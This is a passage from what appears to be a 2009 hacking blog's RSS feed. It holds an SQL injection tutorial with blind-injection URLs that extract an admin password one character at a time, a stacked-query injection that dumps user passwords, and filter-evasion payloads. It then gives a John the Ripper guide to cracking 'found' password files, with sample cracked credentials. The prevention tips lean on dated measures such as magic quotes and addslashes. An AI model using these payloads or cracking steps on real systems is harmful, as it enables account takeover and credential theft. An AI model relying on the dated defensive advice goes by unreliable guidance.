Let&#8217;s go deeper. What we can do with Blind SQL? Could be interesting to retrieve<br />
the admin password. How to do that? First of all to understand better the<br />
steps I&#8217;m going to explain we need to know some basic information.</p>
<p>Function used in MySQL:</p>
<p>- ASCII(str)<br />
Returns the numeric value of the leftmost character of the string str.<br />
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()<br />
works for 8-bit characters.</p>
<p>mysql&gt; select ascii(&#8217;a');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;A') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         97 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;b');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;b') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         98 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>- ORD(str)</p>
<p>If the leftmost character of the string str is a multi-byte character, returns<br />
the code for that character, calculated from the numeric values of its constituent<br />
bytes using this formula:</p>
<p>(1st byte code)<br />
+ (2nd byte code x 256)<br />
+ (3rd byte code x 2562) &#8230;</p>
<p>If the leftmost character is not a multi-byte character, ORD() returns the same value as<br />
the ASCII() function.</p>
<p>- SUBSTRING(str,pos), SUBSTRING(str  FROM pos),<br />
SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)</p>
<p>The forms without a len argument return a substring from string str starting at position pos.<br />
The forms with a len argument return a substring len characters long from string str, starting<br />
at position pos.<br />
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value<br />
for pos. In this case, the beginning of the substring is pos characters from the end of the<br />
string, rather than the beginning.<br />
A negative value may be used for pos in any of the forms of this function.</p>
<p>- SUBSTR(str,pos), SUBSTR(str  FROM pos),<br />
SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)</p>
<p>SUBSTR() is a synonym for SUBSTRING().</p>
<p>mysql&gt; select substring(&#8217;Blind SQL&#8217;, 1, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8217;Blind SQL&#8217;, 1, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| B                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select substring(&#8217;Blind SQL&#8217;, 2, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8217;Blind SQL&#8217;, 2, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| l                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- LOWER(str)</p>
<p>Returns the string str with all characters changed to lowercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT LOWER(&#8217;SQL&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| LOWER(&#8217;SQL&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| sql               |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- UPPER(str)</p>
<p>Returns the string str with all characters changed to uppercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT UPPER(&#8217;sql&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| UPPER(&#8217;sql&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| SQL           |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Now we have understood the principals MySQL functions that could be used while<br />
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)</p>
<p>What we need again? Suppose that we know for a moment the admin password: &#8220;secret&#8221;.</p>
<p>mysql&gt; select ascii(&#8217;s&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;s&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        115|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;e');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;e') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        101|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;c');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;c') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         99 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;r');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;r') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        114|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;t');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;t') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        116|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>It&#8217;s time to watch the source code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>[ ... ]</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'].&#8221; LIMIT 1&#8243;;</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8217;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>[ ... ]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Now, try to &#8220;exploit the bug&#8221; by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>The query is TRUE (we know that the first letter of the password is &#8217;s&#8217;) and therefore, the query will be:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1</p>
<p>What is the number 115? Read upon is the ascii value of the &#8217;s&#8217;. We retrieved the first character<br />
of the password (by using some MySQL functions).</p>
<p>.:. (SELECT pwd FROM usr WHERE id=1) =&gt; SELECT the password of the user with ID=1 (admin)<br />
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) =&gt; Get the first letter of the password (in this case &#8217;s&#8217;)<br />
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) =&gt; Get the ASCII code of the first letter (115 in this case)</p>
<p>And how to retrieve the second letter of the password? Just carry out this query:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1</p>
<p>by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101</p>
<p>The third character? And the others? Just make the same query with the right values.<br />
Take in mind that you can also use the &#8220;greater then&#8221; (&gt;) and &#8220;less then&#8221; (&lt;) symbols<br />
instead of the equal; to find the ASCII letter between a range of letters.<br />
Eg.: between 100 and 116; and so on.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Double Query ]</p>
<p>Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved<br />
Extension) that is an extension allows you to access to the functionality provided<br />
by MySQL 4.1 and above.</p>
<p>I&#8217;ll explain a  very interesting bug that could be very dangerous for the<br />
system. A not properly sanitized variable passed in the method called multi_query of<br />
the mysqli class can be used to perform a &#8220;double&#8221; sql query injection.</p>
<p>mysqli_multi_query (PHP 5) is able to performs one or more queries on the<br />
database selected. The queries executed are concatenated by a semicolon.</p>
<p>Look this example to know what I&#8217;m talking about:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&lt;?php<br />
$mysqli = new mysqli(&#8221;localhost&#8221;, &#8220;root&#8221;, &#8220;root&#8221;, &#8220;test&#8221;);</p>
<p>if (mysqli_connect_errno()) {<br />
printf(&#8221;Connect failed: %s\n&#8221;, mysqli_connect_error());<br />
exit();<br />
}</p>
<p>$query  = &#8220;SELECT user FROM usr WHERE id =&#8221;. $_GET['id'].&#8221;;&#8221;;<br />
$query .= &#8220;SELECT texts FROM news WHERE id =&#8221;. $_GET['id'];</p>
<p>echo &#8216;UserName: &#8216;;</p>
<p>if ($mysqli-&gt;multi_query($query)) {<br />
do {<br />
/* the first result set */<br />
if ($result = $mysqli-&gt;store_result()) {<br />
while ($row = $result-&gt;fetch_row()) {<br />
echo &#8221; &#8211; &#8221; .$row[0]. &#8220;&lt;br&gt;&#8221; ;<br />
}<br />
$result-&gt;free();<br />
}<br />
/* print divider */<br />
if ($mysqli-&gt;more_results()) {<br />
echo &#8220;/-/-/-/-/-/-/-/-/-/-/-/-/-/&lt;br&gt;&#8221;;<br />
}<br />
} while ($mysqli-&gt;next_result());<br />
}</p>
<p>/* close connection */<br />
$mysqli-&gt;close();<br />
?&gt;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>If a user request the follow URL:</p>
<p>http://www.victim.net/CMS/multiple.php?id=2</p>
<p>The browser reply with this information:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- could be bypassed easily?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>But the source code is bugged. The $query variable is vulnerable because<br />
a user can supply using the GET method, an evil id and can do multiple (evil) queries.</p>
<p>Trying with this request:</p>
<p>http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*</p>
<p>We will obtain the users passwords.</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- secret<br />
- adpwd<br />
- test</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Filters Evasion ]</p>
<p>Web Application could implements some input filters that prevent an attacker from<br />
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application<br />
can use some mechanism that are able to sanitize, block or parse in some ways<br />
user-supply data. This kind of filters could be bypassed by using differents methods,<br />
here I wanna try to give to you some ideas; but certainly one filter differ from<br />
an other one so, you have to try/find different methods to bypass it.</p>
<p>- Imagine that we have to bypass a login form; but the comment symbol is blocked,<br />
we can bypass this issue but injecting this data &#8216; OR &#8216;a&#8217; = &#8216;a instead of &#8216; OR 1 = 1 /*</p>
<p>- The filter try to prevent an SQL Injection by using this kind of Signature: &#8216; or 1=1 (Case-insensitive).<br />
An attacker can bypass this filter using &#8216; OR &#8216;foobar&#8217; = &#8216;foobar for example.</p>
<p>- Suppose that the application filter the keyword &#8220;admin&#8221;, to bypass this filter we have just<br />
to use some MySQL functions such as CONCAT or CHAR for example:<br />
union select * from usr where user = concat(&#8217;adm&#8217;,'in&#8217;)/*<br />
union select * from usr where user=char(97,100,109,105,110)/*</p>
<p>This is only a little part of &#8220;filter evasion techniques&#8221;. Different filters work<br />
differently, I can&#8217;t stay on this topic forever; I just gave to you some ideas.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  SQL Injection Prevention ]</p>
<p>How to prevent this type of attacks? Here below I just wanna write some<br />
tips that you can use to make your web application more secure.</p>
<p>1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,<br />
and so on..) can help us with the magic quote functions. Other interesting functions can<br />
be setted to On; take a look inside this file.</p>
<p>Magic quotes can be used to escape automatically with backslash the user-supply single-quote (&#8217;),<br />
double-quote (&#8221;), backslash (\) and NULL characters.<br />
The 3 magic quotes directives are:</p>
<p>- magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.<br />
- magic_quotes_runtime, if enabled, most functions that return data from an external source, will have<br />
quotes escaped with a backslash.<br />
- magic_quotes_sybase, that escape the &#8216; with &#8221; instead of \&#8217;.</p>
<p>2.) deploy mod_security for example</p>
<p>3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate<br />
every user inputs.</p>
<p>4.) For integer input validate it by casting the variable<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Conclusion ]</p>
<p>Here we are, at the end of this paper. As said upon, I hope you enjoyed it and<br />
for any questions please mail me.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=55&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lost Password Recovery :: John The Ripper TUTORIAL</title>
		<link>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/</link>
		<comments>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 09:43:26 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Network Tools]]></category>
		<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[decryper]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[jhon]]></category>
		<category><![CDATA[JTR]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[linux recover password]]></category>
		<category><![CDATA[lost password]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[ripper]]></category>
		<category><![CDATA[sniffer]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[WORDFILE]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=47</guid>
		<description><![CDATA[
		
		
		
		John the Ripper is a decrypting program for passwords. Although it has many
functions we will be looking at using it as a decryper for password files
you possess.

We will be looking at Password Files which you have put on your Hard Disk
- PREPARATION
SHORTCUT TIP FOR WINDOWS 95
PASSWORD FILES
- DECRYPTING
JTR MODES
SINGLE MODE
WORDFILE MODE
INCREMENTAL MODE
ALPHA
DIGITS
ALL
SHOW MODE &#8211; Saving [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Lost+Password+Recovery+%3A%3A+John+The+Ripper+TUTORIAL";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "John the Ripper is a decrypting program for passwords. Although it has manyfunctions we will be looking at using it as a decryper for password filesyou possess.We will be looking at Password Files which you have put on your Hard Disk- PREPARATIONSHORTCUT TIP FOR WINDOWS 95PASSWORD FILES- DECRYPTINGJTR MODESSINGLE MODEWORDFILE MODEINCREMENTAL MODEALPHADIGITSALLSHOW...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>John the Ripper is a decrypting program for passwords. Although it has many</p>
<p>functions we will be looking at using it as a decryper for password files<br />
you possess.</p>
<p><span id="more-47"></span></p>
<p>We will be looking at Password Files which you have put on your Hard Disk<br />
- <strong>PREPARATION</strong><br />
SHORTCUT TIP FOR WINDOWS 95<br />
PASSWORD FILES<br />
- <strong>DECRYPTING</strong><br />
JTR MODES<br />
SINGLE MODE<br />
WORDFILE MODE<br />
INCREMENTAL MODE<br />
ALPHA<br />
DIGITS<br />
ALL<br />
SHOW MODE &#8211; Saving the Decrypted Files<br />
- <strong>ADVANCED COMMANDS</strong><br />
STOPPING JTR<br />
RULES<br />
SESSION and RESTORE<br />
- <strong>JTR QUICK REFERENCE</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>. &#8212;&#8212;&#8212;&#8211;<br />
<strong>PREPARATION</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
1. Download the correct version of JTR, use win32 for Win 95/98<br />
2. Extract the zip File into a Directory<br />
3. Make sure you have your Password Files in the same directory</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<strong>SHORTCUT TIP FOR WINDOWS 95</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
1. Right Click on the [Start] Button, and choose Open<br />
2. Double Click on [Programs] Folder<br />
3. Right Click and Copy, [MS-DOS Prompt]<br />
4. Close the [Programs] Folder<br />
5. Right Click and Paste on the Desktop, a [MS-DOS Prompt] should appear<br />
6. Right Click on the [MS-DOS Prompt] icon and choose Properties<br />
7. Click on the Program Tab<br />
8. In the box next to Working (It should have C:WINDOWS in there) Change<br />
it to the Directory of where-ever the Program JOHN.EXE has been<br />
extracted<br />
9. Click on the [OK] button<br />
10. Test what you have done by Double Clicking on the Icon, If you wish to<br />
rename [MS-DOS Prompt] to JTR, then do so</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> PASSWORD FILES</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
A. Naming<br />
I personally name my files with a p extension, some people use txt<br />
eg If i had the password file to Dannis&#8217;, I would name it danni.p<br />
The reason is that p stands for password file, I then name my decrypted<br />
password files with a txt extension<br />
It is really up to you what you name your password files, just remember<br />
that the names should be less than 8 characters<br />
eg likethis.p<br />
B. Where should I put them?<br />
Always have the password files you have found in the same directory as<br />
JOHN.EXE, Its just easier to handle them that way</p>
<p>&#8212;&#8212;&#8212;-<br />
<strong> DECRYPTING</strong><br />
&#8212;&#8212;&#8212;-<br />
Depending on what JTR version you have downloaded, you have to change into<br />
the directory JOHN.EXE is</p>
<p>&#8212;&#8212;&#8212;<br />
<strong> JTR MODES</strong><br />
&#8212;&#8212;&#8212;<br />
There are 3 main modes we will be dealing with<br />
-single, -wordfile, -incremental</p>
<p>[KEYS]<br />
[passfile] &#8211; this is the name of your password file<br />
[wordlist] &#8211; this is the name of your wordlist<br />
[output] &#8211; this is the name of the file you will name when you want to<br />
save your decrypted passwords</p>
<p>&#8212;&#8212;&#8212;&#8211;<br />
<strong> SINGLE MODE</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
Single Mode attempts to find the weakest of all the passwords. This is one<br />
of the fastest methods.</p>
<p>SINGLE MODE SYNTAX<br />
john -single [passfile]<br />
or you could use<br />
john -si [passfile]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p then you would type<br />
john -si danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>&#8212;&#8212;&#8212;&#8212;-<br />
<strong> WORDFILE MODE</strong><br />
&#8212;&#8212;&#8212;&#8212;-<br />
Wordfile Mode is the next quickest method. It requires the use of a wordlist<br />
The wordlist must be in a single wordlist and not a combo list</p>
<p><strong>WORDFILE SYNTAX</strong><br />
john -wordfile:[wordlist] [passfile]<br />
or<br />
john -w:[wordlist] [passfile]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p and you had a [wordlist]<br />
named mydict.txt then you would type</p>
<p>john -w:mydict.txt danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong> INCREMENTAL MODE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Incremental mode is the slowest mode and will try to decrypt every pass in<br />
your passfile, as this can take days, months even years, I would use it as<br />
a last resort</p>
<p>There are 4 basic commands we will be dealing with<br />
digits, alpha, all, and leaving it blank</p>
<p>DIGITS mode<br />
This will try to decrypt all the Passwords that are in numbers</p>
<p>ALPHA mode<br />
This will try to decrypt all the Passwords that are letters only</p>
<p>ALL mode<br />
This will try to decrypt all the Passwords, whether they are in numbers, in<br />
letters or some special characters (@!^&amp;&#8230;etc)</p>
<p>WITH NO MODE SELECTED<br />
This will basically do everything to try to decrypt the password file</p>
<p>SYNTAX<br />
john -i [passfile]<br />
john -i:DIGITS [passfile]<br />
john -i:ALPHA [passfile]<br />
john -i:ALL [passfile]</p>
<p><strong>Example:</strong><br />
If you found a [passfile] and named it danni.p<br />
john -i danni.p<br />
john -i:DIGITS danni.p<br />
john -i:ALPHA danni.p<br />
john -i:ALL danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>When running in this mode, If you ever want to stop it push CTRL &#8211; C</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> SHOW MODE &#8211; Saving the Decrypted Files</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Finally, once JTR has finished its decrypting process, you will be ready<br />
to enjoy the results. These you will save in a file name of your choice.</p>
<p><strong>SHOW SYNTAX</strong><br />
john -show [passfile]&gt;[output]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p, you decide you want to name the<br />
decrypted password file or [output] to danni.txt</p>
<p>john -show danni.p&gt;danni.txt</p>
<p>Now you can open danni.txt in a TEXT EDITOR<br />
You will see something like this</p>
<p>italia:italiano<br />
makoto:makotox<br />
PADWICK:PADWICKH<br />
kelley:kelleyaj<br />
bechtel:jbechtel<br />
mequery:queryme<br />
seeeee:meeeee<br />
stevewm:stevenm</p>
<p>8 passwords cracked, 246 left</p>
<p>Hopefully you will get more passwords than the example though</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> ADVANCED COMMANDS</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Here are a few more commands which prove handy when using JTR</p>
<p>&#8212;&#8212;&#8212;&#8212;<br />
<strong> STOPPING JTR</strong><br />
&#8212;&#8212;&#8212;&#8212;<br />
If at anytime you wish to stop the decrypting process then<br />
Hold down the [ CTRL ] key and Push the [ C ] key</p>
<p>&#8212;&#8211;<br />
<strong>RULES</strong><br />
&#8212;&#8211;<br />
This command is used with the Wordfile Option, without it JTR will try only<br />
the words in your wordlist. When this is activated it will try variations as<br />
outlined in the john.ini file. This is also quite slow</p>
<p>RULES SYNTAX<br />
john w:[wordlist] -rules [passfile]</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<strong> SESSION &amp; RESTORE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Decrypting by now you will notice can become a long a slow process, JTR<br />
allows you to save save and restore sessions. A session is like a snap<br />
shot of what you are decrypting. It remembers what file you used, and<br />
where you were at if you decide to stop it. session can be used with any<br />
of the main modes.</p>
<p>SESSION &amp; RESTORE SYNTAX<br />
john -restore<br />
john -restore:[session name]<br />
john -session:[session name]</p>
<p>[session name] is any name you choose</p>
<p><strong>EXAMPLE</strong><br />
&#8212;&#8212;-<br />
Lets say you want to decrypt a file named danni.p</p>
<p>OK you&#8217;ve used the -si mode, which was quick<br />
With your trusty wordlist file named biglist.txt you next run the -w mode</p>
<p><strong>FINAL NOTES</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
There are many other features that JTR uses, that are Advanced, these can be<br />
found in the DOC folder in JTR, just use a text editor to open and read them<br />
We were only concerned with getting at least 50% of the passwords. This may<br />
be achieved by SINGLE and WORDFILE modes<br />
SPEED is dependant on your CPU, If you screen looks like its frozen and<br />
doing nothing, just hit any key a couple of times, you will see a mini<br />
progress report.<br />
Speed is also dependant on the size of your password file and the number of<br />
salts, A salt can be thought of as a slightly different way to encrypt a<br />
file. As there are many ways to encrypt a single password</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong> JTR QUICK REFERENCE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[KEYS]<br />
[passfile] &#8211; this is the name of your password file<br />
[wordlist] &#8211; this is the name of your wordlist<br />
[output] &#8211; this is the name of the file you will name when you want to<br />
save your decrypted passwords<br />
: &#8211; whenever you see a colon then use it in the command<br />
- &#8211; whenever you see a minus sign then use it in the command<br />
&gt; &#8211; whenever you see this sign then use it in the command<br />
[] &#8211; DO NOT INCLUDE THESE IN THE COMMAND</p>
<p>SINGLE MODE<br />
john -si [passfile]<br />
WORDFILE MODE<br />
john -w:[wordlist] [passfile]<br />
INCREMENTAL MODES<br />
john -i [passfile]<br />
john -i:ALL [passfile]<br />
john -i:DIGITS [passfile]<br />
john -i:ALPHA [passfile]<br />
SHOW MODES<br />
john -show [passfile]&gt;[output]</p>
<p>Loaded 254 passwords with 85 different salts (Standard DES [32/32 BS])<br />
italia (italiano)<br />
makoto (makotox)<br />
PADWICK (PADWICKH)<br />
kelley (kelleyaj)<br />
bechtel (jbechtel)<br />
mequery (queryme)<br />
seeeee (meeeee)<br />
stevewm (stevenm)<br />
guesses: 8 time: 0:00:01:23 100% c/s: 25771 trying: zcatcatk &#8211; zcatcatz</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=47&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>99 DOS Commands</title>
		<link>http://www.hacking-gurus.net/2009/03/11/99-dos-commands/</link>
		<comments>http://www.hacking-gurus.net/2009/03/11/99-dos-commands/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 08:48:57 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[control panel]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[help]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[port scanner]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=46</guid>
		<description><![CDATA[
		
		
		
		Quick Help on Windows Dos Commands .
Accessibility Controls = access.cpl
Add Hardware Wizard = hdwwiz.cpl
Add/Remove Programs = appwiz.cpl
Administrative Tools = control admintools
Automatic Updates = wuaucpl.cpl
Bluetooth Transfer Wizard = fsquirt
Calculator = calc
Certificate Manager = certmgr.msc
Character Map = charmap
Check Disk Utility = chkdsk
Clipboard Viewer = clipbrd
Command Prompt = cmd
Component Services = dcomcnfg
Computer Management = compmgmt.msc
Date and Time Properties [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/11/99-dos-commands/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "99+DOS+Commands";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Quick Help on Windows Dos Commands .Accessibility Controls = access.cplAdd Hardware Wizard = hdwwiz.cplAdd/Remove Programs = appwiz.cplAdministrative Tools = control admintoolsAutomatic Updates = wuaucpl.cplBluetooth Transfer Wizard = fsquirtCalculator = calcCertificate Manager = certmgr.mscCharacter Map = charmapCheck Disk Utility = chkdskClipboard...";
		//-->
		</script>
